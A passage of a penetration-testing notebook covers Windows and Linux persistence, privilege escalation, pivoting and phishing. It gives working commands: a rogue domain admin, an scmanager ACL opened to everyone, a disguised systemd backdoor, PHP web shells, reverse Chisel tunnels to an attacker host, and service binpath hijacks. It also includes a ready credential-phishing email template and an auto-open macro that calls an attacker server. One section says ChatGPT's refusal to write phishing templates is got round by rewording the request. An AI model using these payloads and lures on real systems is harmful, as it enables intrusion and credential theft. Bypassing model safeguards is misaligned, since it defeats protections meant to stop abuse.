Steps from a domain controller to create a domain administrator account:

```powershell
net user parzival password123 /add /domain
net group "Domain Admins" parzival /add /domain
net user parzival /comment:"Account created for authorized pentest. Created on XX/XX/XXXX"
net user parzival /expires:XX/XX/XXXX
```


# Remote Desktop

After compromising a user on an engagement, you may observe that they have an active session on a host that you have access to. To get around this restriction without disconnecting the user, you can enable multiple sessions per user:

```bash
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v SingleSessionPerUser /d 0 /f
```


# Services


# Service Privilege Escalation / Persistence

Modification of the security descriptor on the service manager allowing for anyone to start SYSTEM services.&#x20;

```powershell
sc.exe sdset scmanager D:(A;;KA;;;WD)
```

<figure><img src="https://1676354979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRLSjRQh9klei94RhxhvW%2Fuploads%2Fo4YOkWCVU28nFtB0Iu36%2Fimage.png?alt=media&amp;token=fa12dffd-0a31-4245-8a7c-e9ccb782c5eb" alt=""><figcaption></figcaption></figure>

### References

{% embed url="<https://twitter.com/0gtweet/status/1628720819537936386>" %}


# Systemd Service Persistence

MITRE ATT\&CK, Persistence, Sub-technique T1543.002

The following example demonstrates Systemd persistence with Watershell.&#x20;

[Watershell ](https://github.com/RITRedteam/watershell-cpp)is an incredible script that I came across from a fellow red teamer during CCDC Regionals. I highly recommend reading the [original GitHub](https://github.com/wumb0/watershell) to learn more about the tool.

General steps for persistence with Watershell:

1. Compile the binary:&#x20;

```bash
g++ main.cpp watershell.cpp -o ${INSERT_BINARY_NAME}
```

2\. Note: You can edit the default port that the binary uses in the main.cpp and watershell.cpp files prior to compiling.

3\. Transfer the binary to the targets system, I recommend naming the binary something inconspicuous such as `networkd` or `ipv6_conf`

4\. Setup a service to execute the binary, the following demonstrates an example configuration:

```bash
[Unit]
Description=persistence

[Service]
Type=simple
ExecStart=/bin/networkd -l $port

[Install]
WantedBy=multi-user.target
```

5\. Connect to the target using `watershell-cli.py` using the following command:

```bash
python3 watershell-cli.py -t $ip -p $port
```

### References

{% embed url="<https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence>" %}


# Web Shell

MITRE ATT\&CK, Persistence, Sub-technique T1505.003

### Basic Web Shells

#### PHP

```bash
<?php echo passthru($_GET['cmd']); ?>
```

```bash
<?php echo shell_exec($_GET['cmd']); ?>
```

{% embed url="<https://github.com/WhiteWinterWolf/wwwolf-php-webshell>" %}


# DLL Hijacking

{% embed url="<https://hijacklibs.net/>" %}

{% embed url="<https://github.com/Accenture/Spartacus>" %}

{% embed url="<https://github.com/cyberark/DLLSpy>" %}

### References

{% embed url="<https://www.youtube.com/watch?v=3eROsG_WNpE>" %}


# Pivoting

MITRE ATT\&CK, Command and Control, Technique T1572

### Pivoting with SSH

```bash
# Pivoting with an SSH SOCKS proxy
ssh -D $port -q -C -N parzival@$ip

# Pivoting with SSHuttle 
## https://github.com/sshuttle/sshuttle
sshuttle -vr parzival@$ip $targetSubnet/24
```

{% embed url="<https://t.co/7owIpuQiUy>" %}

### Setting up a SOCKS Proxy with Chisel

1\. Download the [latest Chisel binaries](https://github.com/jpillora/chisel)

> Note, you will need the Chisel binary placed on both your attacking system the target system.

2\. On the attacking system:

```bash
./chisel server --socks5 --reverse -p 8000
```

3\. On the target system:&#x20;

```bash
.\chisel.exe client $attackerip:8000 R:socks
```

4\. Observe on the attacking system that the SOCKS5 connection has been successfully established.

#### Forwarding One Port with Chisel

1\. On the attacking system:

```bash
./chisel server 8000 -reverse
```

2\. On the target system:&#x20;

```bash
# Listen on Kali 80, forward to localhost port 80 on client
.\chisel client $attackerip:8000 R:1337:127.0.0.1:1337

# Listen on Kali 4444, forward to 10.10.10.240 port 80
.\chisel client $attackerip:8000 R:4444:10.10.10.240:80
```

#### Verification

The easiest way to verify if your `Chisel` connection was successful is to run the following command:&#x20;

```bash
ss -lnpt | grep $localport
```

#### Interaction

Ensure to remember that you will be interacting with `localhost` after forwarding a port. For example, by running&#x20;

```bash
nmap -sC -sV -p3306 -n localhost
```

### Nmap Scanning through Proxychains

When performing scans on the network through proxychains it is important to use the `-sT` flag. The following command demonstrates an Nmap command to use:

```bash
nmap -sT -Pn -n $port
```

{% hint style="warning" %}
You do not need this when utilizing SOCKS5 as it supports both ICMP and DNS.
{% endhint %}

### References

#### SSH

{% embed url="<https://pswalia2u.medium.com/ssh-tunneling-port-forwarding-pivoting-socks-proxy-85fb7129912d>" %}

{% embed url="<https://anubissec.github.io/How-To-Pivot-Into-Target-Network-With-SSH/>" %}

#### Chisel

{% embed url="<https://ap3x.github.io/posts/pivoting-with-chisel>" %}

{% embed url="<https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html>" %}


# Privilege Escalation

MITRE ATT\&CK, Privilege Escalation, ID TA0004


# Linux

List of commonly used escalation tools for Linux systems

### Tools

* [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - Linux Privilege Escalation Awesome Scripts
* [pspy](https://github.com/DominicBreuker/pspy) - Process monitoring can be handy when trying to escalate privileges
* [LinEnum](https://github.com/rebootuser/LinEnum) - Scripted Local Linux Enumeration & Privilege Escalation Checks
* [Linux\_Exploit\_Suggester](https://github.com/mzet-/linux-exploit-suggester) - Linux privilege escalation auditing tool
* [Kernelpop](https://github.com/spencerdodd/kernelpop) - Kernel privilege escalation enumeration and exploitation framework
* [BeRoot](https://github.com/AlessandroZ/BeRoot/tree/master/Linux) Post exploitation tool to check common misconfigurations on Linux and Mac OS to find a way to escalate our privilege

### Metsploit

```bash
post/multi/recon/local_exploit_suggester
```


# Setuid and Setgid

MITRE ATT\&CK, Privilege Escalation, Sub-technique T1548.001

Setuid is a Unix file flag that allows an executable to be run with the permissions of the file owner. It is often used to allow a user to perform tasks that would otherwise require privileged access.

Setgid is the same concept but instead applies to groups rather than users.&#x20;

Let's take a look at the following example:

```bash
-rwsr-sr-x 1 root root 122 May 14 22:25 thefile
```

setuid is indicated by the first s whereas setgid is indicated by the second s.&#x20;

### Setting Permissions

```bash
# Change the setsuid flag:
chmod u+s $file

# Change the setgid bit:
chmod g+s $file 

# Change both the setuid and setgid bit:
chmod +s $file 
```

### Locating SUID/SGID Binaries

```bash
# Locate suid and sgid-enabled files for the current user
find / -perm -u=s -type f 2>/dev/null
```

### Escalating Privileges

Escalating privileges with these bits greatly depends on the binary that we haev in our posession. One of my favorite ways to search for what an binary can do is by referencing GTFOBins:

{% embed url="<https://gtfobins.github.io>" %}

### References

{% embed url="<https://antonyt.com/blog/2020-03-22/privilege-escalation-via-setuid#what-is-setuid>" %}


# Windows

List of commonly used escalation tools for Windows systems

### Tools

* [Watson](https://github.com/rasta-mouse/Watson) - Enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities
* [Seatbelt](https://github.com/GhostPack/Seatbelt) - Performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives
* [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) - PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations
* [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target
* [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) - Windows Privilege Escalation Awesome Scripts
* [BeRoot](https://github.com/AlessandroZ/BeRoot) - Post exploitation tool to check common misconfigurations to find a way to escalate our privilege

### Metasploit

```bash
# When it works you're always happy
getsystem

# Local Exploit Suggester 
post/multi/recon/local_exploit_suggester
```


# Privilege Abuse


# SeImpersonatePrivilege

### Potatoes

Potatoes are a common way to escalate privileges on a Windows system after either the`SeImpersonate` or `SeAssignPrimaryToken` privileges have been enumerated. This can be accomplished quickly by running the following command:

```bash
whoami /priv
```

#### Sweet Potato

As noted by [Jorge Lajara](https://jlajara.gitlab.io/Potatoes_Windows_Privesc#sweetPotato), [Sweet Potato](https://github.com/CCob/SweetPotato) is one of the most successful potatoes to escalate privileges with. It contains the following exploits built-in to it, rendering the other potatoes obsolete:

> * RottenPotato
> * Weaponized JuicyPotato with BITS WinRM discovery
> * PrintSpoofer&#x20;
> * EfsRpc built on EfsPotato
> * PetitPotam

```bash
# Exploiting a host with SweetPotato
.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc <BASE64_CMD>"
```

### PrintSpoofer

```bash
# Verify that the Print Spooler service is running
Get-Service Spooler

# Run the PrintSpoofer executable to escalate privileges
.\PrintSpoofer.exe -i -c powershell
```

### References

{% embed url="<https://jlajara.gitlab.io/Potatoes_Windows_Privesc>" %}
Guidance on using Potatoes
{% endembed %}

{% embed url="<https://github.com/itm4n/PrintSpoofer>" %}

{% embed url="<https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>" %}


# SeLoadDriverPrivilege

Privilege escalation using the load and unload device drivers policy (SeLoadDriverPrivilege).

### Exploitation

Run the following command to see if the privilege is enabled:

```bash
whoami /priv
```

Regardless of if SeLoadDriverPrivilege is enabled or not, we can run the following tool automagically enable the SeLoadDrivierPrivilege, create a registry key under HKEY\_CURRENT\_USER and execute NTLoadDriver.

* [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/)

Once we have successfully loaded our `Capcom.sys` driver onto the machine we can abuse the malicious driver to escalate our privleges. The following are exploits I've used in my test environment and have verified working:

* [ExploitCapcom](https://github.com/tandasat/ExploitCapcom)
* [PuppetStrings](https://github.com/zerosum0x0/puppetstrings)

This privilege is extremely dangerous to assign to any user and I have seen multiple organizations assign it to *every* user.

### References

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges>" %}

{% embed url="<https://www.tarlogic.com/blog/abusing-seloaddriverprivilege-for-privilege-escalation>" %}


# Service Exploitation

Basic commands when abusing services to elevate privileges after being identified with a tool such as WinPEAS.

### Basic Commands

```powershell
# Query the configuration of a service
sc.exe qc $service_name

# Query the current status of a service
sc.exe query $service_name

# Modify an option on a service
sc.exe config $service_name $option= $value

# Start and stop a service
net start/stop $service_name
```

### Accesschk.exe

#### Use [Accesschk.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) to validate service permissions:

```powershell
.\accesschk.exe /accepteula -uwcqv user $service_name
```

* What we are looking for in the output is the `SERVICE_START` and `SERVICE_STOP` permissions.
* We also want to confirm that it is running under a user with higher privileges (e.g., `LocalSystem`)

### Notes

* Validate if you can start/stop the service or the machine. If you cannot then you may not be able to use it to escalate your privileges.
* Check if we can reboot the system with `whoami /priv`
* An easy way to escalate privileges utilizing a service is to modify the binaries path. The following demonstrates an example of this:

```powershell
sc config $service_name binpath= "\"C:\Windows\Tasks\reverse.exe\""
```


# Initial Access

MITRE ATT\&CK, Initial Access, ID TA0001


# Phishing

MITRE ATT\&CK, Initial Access, Technique T1566

### **Setting up GoPhish**

1. Setting up GoPhish is extremely easy. Simply grab the binary from the official [GoPhish GitHub](https://github.com/gophish/gophish) and execute it in a tmux session:

```bash
tmux new-session -d -s "GoPhish" ./gophish
```

### **Reconnaissance**

1. Identify the target domain. This is often specified in the scope of the engagement.
2. Use OSINT to identify emails and victims to receive your phish.
   1. Publicly available tools such as [LinkedIn2Username](https://github.com/initstring/linkedin2username), [BridgeKeeper](https://github.com/0xZDH/BridgeKeeper), previously pwned databases, [Phonebook.cz](https://phonebook.cz), etc. are great for this.
3. Enumerate the targets domain. Search for blogs, company calendars, company specific portals, enumerate subdomains. All of this information is going to assist you when creating your campaign.

### **Prepare the Campaign**

1. Identify and purchase an available domain to be used for your campaign.
   1. Lookalike domains can either be manually created or found with tools such as [CatPhish](https://github.com/ring0lab/catphish). Additionally, domains with a good reputation can be identified from sites similar to expireddomains.
2. Create a convincing template. This involves creating the subject, sender, and content of the email. Additionally, this is where you would decide if you need to create a landing page or will be attaching a malicious document to the email.
   1. There are several repositories on my GitHub and scattered throughout the Internet with ideas for pretexts and campaigns.
   2. The best type of campaign reference are the ones you receive! Check your spam emails and see if anything can be modified, improved, and sent out!
   3. When creating a malicious document there are multiple tools avaialble such as [LuckyStrike](https://github.com/curi0usJack/luckystrike) and [BoobSnail](https://github.com/STMCyber/boobsnail) that can create a wide variety of documents with payloads embedded.
   4. Create a landing page. This can be based off of the company specific logan portals during the reconnaissance phase or a commonly used login portal such as Exchange.

### **Prepare the Infrastructure**

1. Setup the purchased domain to be used in the campaign, this is extremely easy to configure in GoPhish.
2. Configure the sending profile to use an SMTP server such as SES or [SendGrid](https://sendgrid.com) to bypass protections in palce.
3. Harden the GoPhish infrastructure by changing the email headers.
4. Configure the email service to have the appropriate SPF, DMARC, and DKIM records
   1. This is mostly important if you are trying to bypass protections in place. This should not impact authorized phishing exercises where the client whitelists you.

### **Testing the Campaign**

1. Test the campaign by sending an email to [mail-tester](https://www.mail-tester.com). This site will alert you if there is anything misconfigured or give you tips on how to improve your credibility.
2. I would advise against testing via something like your own Outlook or Gmail. If your email is flagged it is possible that your domain could be marked as spam and blacklisted.
3. When testing your email - double check your pretexts and landing page look correct/are working as intended.

### **Launch the Campaign**

1. Monitor the status of your campaign. You should start seeing clicks come in. A click tells us a few different things about the victim:
   1. The email was successfully received by the victim.
   2. The email was opened.
   3. The user is active.

### Picking a Time

The following is based off a few different papers and statistics gathered from various sources:

* The best time to send a phishing email (in order): Tuesday, Thursday, Wednesday, and Friday
* The worst times (in order): Saturday, Sunday, and Monday
* The best times to send phishing emails are 8 to 10AM

There is quite a bit of research in this area. I have had a lot of success sending phishing emails in the middle of the week. Linked below are a few articles that discuss best times for social engineering attacks that may be interesting when thinking of a time to send:

{% embed url="<https://www.zdnet.com/article/phishing-these-are-the-days-of-the-week-when-youre-most-at-risk>" %}

{% embed url="<https://blog.knowbe4.com/bid/252400/what-is-the-top-phishing-day-of-the-week-and-why>" %}

{% embed url="<https://www.csoonline.com/article/3199997/don-t-like-mondays-neither-do-attackers.html>" %}


# Creating Templates

### Gathering the Details

Begin by gathering the information relevant to your campaign

* **Name** - Think of a name for your template. This will come in useful when identifying it in the future. Especially if this is a generic phishing campaign that will be reused (E.g.,Important Updates on Employee Dress Code)
* **Subject** - Give the template a subject title. This should be something engaging that the end-user will want to click on.
* **Sender** - Provide a name for the user or organization that the email is simulating. This could be something as simple as \[COMPANY] to a specific user working at the company you're impersonathing e.g., \[John Doe]

### Building the Template

This may be the hardest part of your day. Creating a convincing pretext that will convince the target to click a link or download a document.

Thankfully there are several repositories available online with templates and pretext ideas that are ready to go:

* [Pre-text\_Project](https://github.com/pretext-project/pretext-project.github.io/tree/master/_pretexts)
* [GoPhish-Templates](https://github.com/DeviantSec/GoPhish-Templates)

The following details a template that I've used previously. The landing page was a link to the employee login where after credentials were entered where once I successfully landed a phish I could access the employee portal and attempt credential stuffing throughout the environment.

```markup
<html>
<head>
	<title></title>
</head>
<body>
<div align="center"><img 
[SNIP]
<p><font face="Verdana">Dear {{.Email}},&nbsp;</font></p>

<p><font face="Verdana"><font face="Verdana">You&#39;ve received a package! Your company has enrolled you in Your Package Pickup to simplify the mailroom process and get your package to you fast!</font></font></p>

<p><font face="Verdana"><font face="Verdana">The details of your package are as follows:</font></font></p>

<p><font face="Verdana"><font face="Verdana"><strong>Type</strong>: Parcel<br />
<strong>Carrier</strong>: Fed Ex<br />
<strong>Tracking Number</strong>: 231300687629630<br />
<strong>Method</strong>: 2-Day Express Saver<br />
<strong>Origin</strong>: Cincinnati, OH</font></font></p>

<p><font face="Verdana"><font face="Verdana">TO get started, you&#39;ll need to log into your account. It only takes a minute to get going - you can use your corporate e-mail credentials to log in.</font></font></p>

<p><font face="Verdana"><font face="Verdana">Set up your account now!<br />
Your Username: {{.Email}}<br />
<a href="{{.URL}}">https://www.yourpackagepickup.com/pickup</a></font></font></p>

<p><br />
<font face="Verdana"><font face="Verdana">Once you&#39;ve set up your account online, you&#39;ll select how you&#39;d like to receive your package. It&#39;s really that easy!</font></font></p>

<p><font face="Verdana"><font face="Verdana">Let us know if you have any issues with your shipment at {{.URL}}.</font></font></p>

<p><br />
<font face="Verdana"><font face="Verdana">Best,&nbsp;<br />
Your Package Pickup Care Team<br />
hello@yourpackagepickup.com</font></font></p>

<p><br />
<font face="Verdana"><font face="Verdana">Copyright 2019 YourPackagePickup. All rights reserved.<br />
&nbsp;</font></font></p>

<p><font face="Verdana">{{.Tracker}}</font></p>
</body>
</html>
```


# Leveraging AI During Template Creation

With the introduction of AI models such as ChatGPT, creating phishing templates has become significantly easier. Instead of spending hours crafting the perfect template, ChatGPT can create a decent phishing campaign in a few minutes.&#x20;

The following screenshot demonstrates an example of this, namely an email template utilizing the potential upcoming recession as a pretext mentioning a downloadable document:

<figure><img src="https://1676354979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRLSjRQh9klei94RhxhvW%2Fuploads%2FFysAbE1dWqDZIsxkCqxh%2Fimage.png?alt=media&amp;token=4c9aca67-07cf-4d61-abf7-8c1452ddc911" alt=""><figcaption></figcaption></figure>

At the time of writing this section, ChatGPT limits the creation of phishing templates. You can get around this restriction by changing the language used as demonstrated in the above screenshot.&#x20;

{% embed url="<https://openai.com/blog/chatgpt/>" %}


# Payloads

### References

List of resources for phishing payloads

{% embed url="<https://medium.com/@airlockdigital/make-phishing-great-again-vsto-office-files-are-the-new-macro-nightmare-e09fcadef010>" %}

{% embed url="<https://github.com/Octoberfest7/XLL_Phishing>" %}


# Non-malicious Callback

There have been multiple tests in the past where dropping a shell onto a victims machine is not within scope. In these cases, I often perform a simulated exercise where we have a PoC payload that calls back to our infrastructure, allowing us to verify that someone downloaded and opened the document.

Often times this payload can be delivered in a password protected ZIP file with a macro. I'd never taken the time to actually document the process of doing this until I came across a blog post from [Hackzzdogz](https://hackzzdogs.gitbook.io/red-team/red-team-blogs/bypassing-microsoft-endpoint-solutions-for-fun). This can be further modified to include additional information in the request such as the hostname of the device of signed in user:

```markup
Sub Auto_Open()
Dim myURL As String
myURL = "$attacker_server"


Dim WinHttpReq as Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.send
End Sub
```

### References

{% embed url="<https://hackzzdogs.gitbook.io/red-team/red-team-blogs/bypassing-microsoft-endpoint-solutions-for-fun>" %}

{% embed url="<https://www.trustedsec.com/blog/malicious-macros-for-script-kiddies/>" %}




---

[Next Page](/llms-full.txt/1)

